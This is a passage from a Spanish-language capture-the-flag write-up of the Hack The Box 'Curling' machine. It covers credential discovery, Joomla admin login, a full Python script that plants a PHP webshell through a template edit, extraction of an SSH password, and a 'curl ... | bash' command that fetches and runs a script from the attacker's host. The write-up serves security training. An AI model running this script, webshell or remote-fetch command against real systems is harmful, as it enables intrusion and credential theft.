</span></span><span style="display:flex;"><span>Next
</span></span><span style="display:flex;"><span>item
</span></span><span style="display:flex;"><span>span
</span></span><span style="display:flex;"><span>Prev
</span></span><span style="display:flex;"><span>Please
</span></span><span style="display:flex;"><span>enter
</span></span><span style="display:flex;"><span>Submit
</span></span><span style="display:flex;"><span>verification
</span></span><span style="display:flex;"><span>code
</span></span><span style="display:flex;"><span>items
</span></span><span style="display:flex;"><span>leading
</span></span><span style="display:flex;"><span>row
</span></span><span style="display:flex;"><span>associated
</span></span><span style="display:flex;"><span>Your
</span></span><span style="display:flex;"><span>emailed
</span></span><span style="display:flex;"><span>file
</span></span><span style="display:flex;"><span>sent
</span></span><span style="display:flex;"><span>Once
</span></span><span style="display:flex;"><span>have
</span></span><span style="display:flex;"><span>received
</span></span><span style="display:flex;"><span>able
</span></span><span style="display:flex;"><span>choose
</span></span><span style="display:flex;"><span>new
</span></span></code></pre></div><p>Esta la podremos usar posteriormente como input en alguna parte.</p>
<h1 id="secrettxt">secret.txt</h1>
<p>Realizamos un <code>httpie</code> directamente hacia el archivo <code>secret.txt</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http http://10.10.10.150/secret.txt
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 17
</span></span><span style="display:flex;"><span>Content-Type: text/plain
</span></span><span style="display:flex;"><span>Date: Mon, 07 Jan 2019 05:29:31 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;11-56cd09966f4a0&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Tue, 22 May 2018 19:41:06 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Q3VybGluZzIwMTgh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http http://10.10.10.150/secret.txt | base64 -d
</span></span><span style="display:flex;"><span>Curling2018!xbytemx@laptop:~/htb/curling$
</span></span></code></pre></div><p>La salida fue un Base64, por lo que posteriormente lo mande a un <em>pipe</em> para que lo concatene a <code>base64 -d</code>. La salida es la frase <strong>Curling2018!</strong>. Esta luce como una contraseña, por lo que la salida de cewl podría revelarnos información sobre el usuario&hellip;</p>
<h1 id="my-first-post-of-curling-in-2018">My first post of curling in 2018!</h1>
<p>Revisando nuevamente el contenido de la salida de httpie, podemos encontrar que hay un texto que incluye la firma de alguien:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;- Floris&lt;/<span style="color:#f92672">p</span>&gt;
</span></span></code></pre></div><p>Probemos las credenciales de <code>floris:Curling2018!</code></p>
<h1 id="login-on-jooomla">Login on jooomla</h1>
<p>Ingresamos a <code>/administrator/index.php</code>:</p>
<p><img src="/img/htb-curling/http-administrator-login.png" alt="www administrator/index.php"></p>
<p>Validamos las credenciales:</p>
<p><img src="/img/htb-curling/http-administrator-login-floris.png" alt="www administrator as floris"></p>
<p>Excelente, ahora hemos ingresado como floris en el joomla. Veamos ahora que tenemos este acceso como podemos ejecutar cosas en el servidor para conseguir una shell remota.</p>
<h1 id="uploading-a-webshell">Uploading a webshell</h1>
<p>Como hemos revisado anteriormente, tenemos un joomla 3.8.8. Buscando rápidamente en google <em>rce joomla 3.8.8</em>, nos encontraremos con un articulo de <a href="https://packetstormsecurity.com/files/142731/Joomla-3.x-Proof-Of-Concept-Shell-Upload.html">packet storm security</a> el cual cuenta con una PoC para subir una shell usando el template de Beez3, y cargando una webshell simple de PHP.</p>
<p>El script modificado para funcionar en la maquina es el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># joomla_shellup.py - small script to upload shell in Joomla</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 02.05.2017, rewrited: 27.05</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -- hint --</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># To exploit this &#34;feature&#34; you will need valid credentials.&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Based on latest (3.6.5-1) version.&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#   Tested also on: 3.7.x</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>target <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;http://10.10.10.150&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#39;[+] Checking: &#39;</span> <span style="color:#f92672">+</span> str(target)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># initGET</span>
</span></span><span style="display:flex;"><span>session <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>session()
</span></span><span style="display:flex;"><span>initlink <span style="color:#f92672">=</span> target <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/administrator/index.php&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>initsend <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(initlink)
</span></span><span style="display:flex;"><span>initresp <span style="color:#f92672">=</span> initsend<span style="color:#f92672">.</span>text
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>find_token <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">&#39;&lt;input type=&#34;hidden&#34; name=&#34;(.*?)&#34; value=&#34;1&#34; /&gt;&#39;</span>)
</span></span><span style="display:flex;"><span>found_token <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>search(find_token, initresp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> found_token:
</span></span><span style="display:flex;"><span>    initToken <span style="color:#f92672">=</span> found_token<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    print <span style="color:#e6db74">&#39;[+] Found init token: &#39;</span> <span style="color:#f92672">+</span> initToken
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    print <span style="color:#e6db74">&#39;[+] Preparing login request&#39;</span>
</span></span><span style="display:flex;"><span>    data_login <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;username&#39;</span>:<span style="color:#e6db74">&#39;Floris&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;passwd&#39;</span>:<span style="color:#e6db74">&#39;Curling2018!&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;lang&#39;</span>:<span style="color:#e6db74">&#39;&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;option&#39;</span>:<span style="color:#e6db74">&#39;com_login&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;task&#39;</span>:<span style="color:#e6db74">&#39;login&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#39;return&#39;</span>:<span style="color:#e6db74">&#39;aW5kZXgucGhw&#39;</span>,
</span></span><span style="display:flex;"><span>        initToken:<span style="color:#e6db74">&#39;1&#39;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    data_link <span style="color:#f92672">=</span> initlink
</span></span><span style="display:flex;"><span>    doLogin <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>post(data_link, data<span style="color:#f92672">=</span>data_login)
</span></span><span style="display:flex;"><span>    loginResp <span style="color:#f92672">=</span> doLogin<span style="color:#f92672">.</span>text
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    print <span style="color:#e6db74">&#39;[+] At this stage we should be logged-in as an admin :)&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    uplink <span style="color:#f92672">=</span> target <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/administrator/index.php?option=com_templates&amp;view=template&amp;id=503&amp;file=L2pzc3RyaW5ncy5waHA%3D&#39;</span>
</span></span><span style="display:flex;"><span>    filename <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;jsstrings.php&#39;</span>
</span></span><span style="display:flex;"><span>    print <span style="color:#e6db74">&#39;[+] File to change: &#39;</span> <span style="color:#f92672">+</span> str(filename)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    getnewtoken <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(uplink)
</span></span><span style="display:flex;"><span>    getresptoken <span style="color:#f92672">=</span> getnewtoken<span style="color:#f92672">.</span>text
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    newToken <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">&#39;&lt;input type=&#34;hidden&#34; name=&#34;(.*?)&#34; value=&#34;1&#34; /&gt;&#39;</span>)
</span></span><span style="display:flex;"><span>    newFound <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>search(newToken, getresptoken)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> newFound:
</span></span><span style="display:flex;"><span>        newOneTok <span style="color:#f92672">=</span> newFound<span style="color:#f92672">.</span>group(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#39;[+] Grabbing new token from logged-in user: &#39;</span> <span style="color:#f92672">+</span> newOneTok
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        getjs <span style="color:#f92672">=</span> target<span style="color:#f92672">+</span><span style="color:#e6db74">&#39;/administrator/index.php?option=com_templates&amp;view=template&amp;id=503&amp;file=L2pzc3RyaW5ncy5waHA%3D&#39;</span>
</span></span><span style="display:flex;"><span>        getjsreq <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(getjs)
</span></span><span style="display:flex;"><span>        getjsresp <span style="color:#f92672">=</span> getjsreq<span style="color:#f92672">.</span>text
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># print getjsresp</span>
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#39;[+] Shellname: &#39;</span> <span style="color:#f92672">+</span> filename
</span></span><span style="display:flex;"><span>        shlink <span style="color:#f92672">=</span> target <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/administrator/index.php?option=com_templates&amp;view=template&amp;id=503&amp;file=L2pzc3RyaW5ncy5waHA=&#39;</span>
</span></span><span style="display:flex;"><span>        shdata_up <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;jform[source]&#39;</span>:<span style="color:#e6db74">&#39;&lt;?php system($_GET[&#34;x&#34;]);&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;task&#39;</span>:<span style="color:#e6db74">&#39;template.apply&#39;</span>,
</span></span><span style="display:flex;"><span>            newOneTok:<span style="color:#e6db74">&#39;1&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;jform[extension_id]&#39;</span>:<span style="color:#e6db74">&#39;503&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;jform[filename]&#39;</span>:<span style="color:#e6db74">&#39;/&#39;</span><span style="color:#f92672">+</span>filename
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        shreq <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>post(shlink, data<span style="color:#f92672">=</span>shdata_up)
</span></span><span style="display:flex;"><span>        path2shell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;/templates/beez3/jsstrings.php?x=id&#39;</span>
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#39;[+] Shell is ready to use: &#39;</span> <span style="color:#f92672">+</span> str(path2shell)
</span></span><span style="display:flex;"><span>        print <span style="color:#e6db74">&#39;[+] Checking:&#39;</span>
</span></span><span style="display:flex;"><span>        shreq <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(target <span style="color:#f92672">+</span> path2shell)
</span></span><span style="display:flex;"><span>        shresp <span style="color:#f92672">=</span> shreq<span style="color:#f92672">.</span>text
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        print shresp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">[+] Module finished.&#39;</span>
</span></span></code></pre></div><p>Ejecutando la poc:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ python shell_uploader.py
</span></span><span style="display:flex;"><span>[+] Checking: http://10.10.10.150
</span></span><span style="display:flex;"><span>[+] Found init token: 9a1a9361861f0818bee33a93c029c15d
</span></span><span style="display:flex;"><span>[+] Preparing login request
</span></span><span style="display:flex;"><span>[+] At this stage we should be logged-in as an admin :)
</span></span><span style="display:flex;"><span>[+] File to change: jsstrings.php
</span></span><span style="display:flex;"><span>[+] Grabbing new token from logged-in user: 8d814181495128ed49b47c57c1d626ce
</span></span><span style="display:flex;"><span>[+] Shellname: jsstrings.php
</span></span><span style="display:flex;"><span>[+] Shell is ready to use: /templates/beez3/jsstrings.php?x=id
</span></span><span style="display:flex;"><span>[+] Checking:
</span></span><span style="display:flex;"><span>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Module finished.
</span></span></code></pre></div><p>Correcto, hemos podido realizar un RCE sobre el servidor.</p>
<h1 id="exploring-from-rce">Exploring from RCE</h1>
<p>Explorando un poco desde el RCE (en lugar de buscar una reverse shell):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http &#34;http://10.10.10.150/templates/beez3/jsstrings.php?x=ls%20/home%20-lah&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 91
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 07 Jan 2019 05:34:06 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>total 12K
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 root   root   4.0K May 22  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 23 root   root   4.0K May 22  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x  6 floris floris 4.0K May 22  2018 floris
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http &#34;http://10.10.10.150/templates/beez3/jsstrings.php?x=ls%20/home/floris%20-lah&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 250
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 07 Jan 2019 05:34:22 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>total 44K
</span></span><span style="display:flex;"><span>drwxr-xr-x 6 floris floris 4.0K May 22  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root   root   4.0K May 22  2018 ..
</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 root   root      9 May 22  2018 .bash_history -&gt; /dev/null
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris  220 Apr  4  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris 3.7K Apr  4  2018 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 2 floris floris 4.0K May 22  2018 .cache
</span></span><span style="display:flex;"><span>drwx------ 3 floris floris 4.0K May 22  2018 .gnupg
</span></span><span style="display:flex;"><span>drwxrwxr-x 3 floris floris 4.0K May 22  2018 .local
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris  807 Apr  4  2018 .profile
</span></span><span style="display:flex;"><span>drwxr-x--- 2 root   floris 4.0K May 22  2018 admin-area
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris 1.1K May 22  2018 password_backup
</span></span><span style="display:flex;"><span>-rw-r----- 1 floris floris   33 May 22  2018 user.txt
</span></span></code></pre></div><p>Ese archivo <em>password_backup</em> luce bastante sospechoso, veamos su contenido:</p>
<h1 id="password_backup">password_backup</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http http://10.10.10.150/templates/beez3/jsstrings.php?x=cat%20/home/floris/password_backup
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 626
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 07 Jan 2019 05:25:39 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&amp;SY...H..
</span></span><span style="display:flex;"><span>00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
</span></span><span style="display:flex;"><span>00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
</span></span><span style="display:flex;"><span>00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
</span></span><span style="display:flex;"><span>00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
</span></span><span style="display:flex;"><span>00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
</span></span><span style="display:flex;"><span>00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
</span></span><span style="display:flex;"><span>00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..&lt;~.x
</span></span><span style="display:flex;"><span>00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .&gt;...sVT.zH....1
</span></span><span style="display:flex;"><span>00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s.&#34;
</span></span><span style="display:flex;"><span>000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
</span></span><span style="display:flex;"><span>000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
</span></span><span style="display:flex;"><span>000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
</span></span><span style="display:flex;"><span>000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
</span></span><span style="display:flex;"><span>000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
</span></span><span style="display:flex;"><span>000000f0: 819b bb48                                ...H
</span></span></code></pre></div><p>Vamos a salvarlo para trabajarlo offline:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http http://10.10.10.150/templates/beez3/jsstrings.php?x=cat%20/home/floris/password_backup &gt; password_backup
</span></span></code></pre></div><p>Como podimos ver por la salida del <code>cat</code> se trata de una salida de hexdump, por lo que usemos <code>xxd</code> para convertirlo a binario y concatenemos con <code>file</code> para saber que tenemos por aqui:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r
</span></span><span style="display:flex;"><span>BZh91AY&amp;SYHAP)ava:4NnT#@%`
</span></span><span style="display:flex;"><span>&#34;n                         z@i4hdi9hQdh4i5nh*}y.&lt;~x&gt;    sVTzHߢ1V`Fs
</span></span><span style="display:flex;"><span>  ۇ7j:XdRk )p7۫;9PCYP    HB*     G U@rrE8PHxbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r | file -
</span></span><span style="display:flex;"><span>/dev/stdin: bzip2 compressed data, block size = 900k
</span></span></code></pre></div><p>Se trata de un archivo comprimido en bzip2, descomprimamos cuanto sea necesario:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r | bunzip2
</span></span><span style="display:flex;"><span>l[passwordrBZh91AY&amp;SY6Ǎ@@Pt t&#34;dhhOPIS@68ET&gt;P@#I bՃ|3x(*N&amp;Hk1x&#34;{]B@6mxbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r | bunzip2 | file -
</span></span><span style="display:flex;"><span>/dev/stdin: gzip compressed data, was &#34;password&#34;, last modified: Tue May 22 19:16:20 2018, from Unix
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r | bunzip2 | gunzip | file -
</span></span><span style="display:flex;"><span>/dev/stdin: bzip2 compressed data, block size = 900k
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r | bunzip2 | gunzip | bunzip2 | file -
</span></span><span style="display:flex;"><span>/dev/stdin: POSIX tar archive (GNU)
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cat password_backup | xxd -r | bunzip2 | gunzip | bunzip2 | tar x
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cat password.txt
</span></span><span style="display:flex;"><span>5d&lt;wdCbdZu)|hChXll
</span></span></code></pre></div><p>Finalmente, hemos obtenido el contenido de password.txt, veamos si corresponde a las credenciales de floris:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ ssh floris@10.10.10.150
</span></span><span style="display:flex;"><span>floris@10.10.10.150&#39;s password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System information as of Mon Jan  7 06:02:39 UTC 2019
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System load:  0.92              Processes:            209
</span></span><span style="display:flex;"><span>  Usage of /:   46.2% of 9.78GB   Users logged in:      0
</span></span><span style="display:flex;"><span>  Memory usage: 20%               IP address for ens33: 10.10.10.150
</span></span><span style="display:flex;"><span>  Swap usage:   0%
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>0 packages can be updated.
</span></span><span style="display:flex;"><span>0 updates are security updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Mon May 28 17:00:48 2018 from 192.168.1.71
</span></span></code></pre></div><p>Excelente, tenemos las credenciales del usuario en esta maquina.</p>
<blockquote>
<p>creds: floris / 5d&lt;wdCbdZu)|hChXll</p>
</blockquote>
<h1 id="cat-usertxt">cat user.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>floris@curling:~$ ls -lah
</span></span><span style="display:flex;"><span>total 44K
</span></span><span style="display:flex;"><span>drwxr-xr-x 6 floris floris 4.0K May 22  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root   root   4.0K May 22  2018 ..
</span></span><span style="display:flex;"><span>drwxr-x--- 2 root   floris 4.0K May 22  2018 admin-area
</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 root   root      9 May 22  2018 .bash_history -&gt; /dev/null
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris  220 Apr  4  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris 3.7K Apr  4  2018 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 2 floris floris 4.0K May 22  2018 .cache
</span></span><span style="display:flex;"><span>drwx------ 3 floris floris 4.0K May 22  2018 .gnupg
</span></span><span style="display:flex;"><span>drwxrwxr-x 3 floris floris 4.0K May 22  2018 .local
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris 1.1K May 22  2018 password_backup
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 floris floris  807 Apr  4  2018 .profile
</span></span><span style="display:flex;"><span>-rw-r----- 1 floris floris   33 May 22  2018 user.txt
</span></span><span style="display:flex;"><span>floris@curling:~$ cat user.txt
</span></span></code></pre></div><h1 id="read-as-root">Read as root</h1>
<p>Comenzamos por realizar una identificación con linenum:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ ssh floris@10.10.10.150 &#34;curl http://10.10.12.67:4001/le.sh | bash&#34; &gt; le.log
</span></span><span style="display:flex;"><span>floris@10.10.10.150&#39;s password:
</span></span><span style="display:flex;"><span>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
</span></span><span style="display:flex;"><span>                                 Dload  Upload   Total   Spent    Left  Speed
</span></span><span style="display:flex;"><span>100 38174  100 38174    0     0  51034      0 --:--:-- --:--:-- --:--:-- 50966
</span></span></code></pre></div><p>Analizando la salida de linenum, no encontraremos una información relevante a la privesc. Sin embargo, revisando aquello en lo que no tenemos permisos, podemos observar que un proceso es ejecutado con los archivos de la carpeta admin-area:</p>
<p><img src="/img/htb-curling/cronjob2.png" alt="Cronjobs 2"></p>
<p>Este comando se ejecuta cada 60 segundos, según lo que pude ver en <code>watch -n1 'ps -fea | grep root | grep -v &quot;\[&quot;'</code></p>
<p>Tenemos luego entonces que root ejecuta cada 60s:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/bin/sh -c sleep 1; cat /root/default.txt &gt; /home/floris/admin-area/input
</span></span></code></pre></div><p>Esto significa que <em>input</em> es reiniciado cada 60 segundos.</p>
<p>Por lo cual podemos concluir que <em>input</em> debe tener alguna relación importante, por lo que veamos el contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>floris@curling:~$ cd admin-area/
</span></span><span style="display:flex;"><span>floris@curling:~/admin-area$ ls
</span></span><span style="display:flex;"><span>input  report
